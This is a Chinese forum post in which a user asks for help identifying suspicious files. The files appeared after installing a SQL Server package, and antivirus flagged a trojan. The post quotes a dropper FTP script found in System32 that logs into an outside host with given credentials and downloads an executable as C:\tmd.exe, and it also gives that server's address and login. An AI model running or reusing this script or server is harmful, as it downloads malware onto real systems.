几个未知文件!帮忙看下!
装了SQL200 DE 后一直出现CMD、FTP进程,然后去这个FTP://218.61.11.180地址下载了下面附件的内容,用户名和密码都是:2048dj。帮忙检测一下是什么,是不是病毒?现在这个版本是没有报毒,刚刚我去这个地址下了一个“远程.EXE”不小心运行了,查杀病毒有一个Trojan.Win32.Undef.cbj 路径为Explorer.EXE>>C:\WINDOWS
文件是Explorer.EXE,还有在SYSTEM32中发现TENCENT.SYS 用记事本打开内容是:open 218.61.11.180
2048dj
2048dj
get calc.exe C:\tmd.exe
bye
不知道和这个有没有关系!急盼回复!
用户系统信息:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)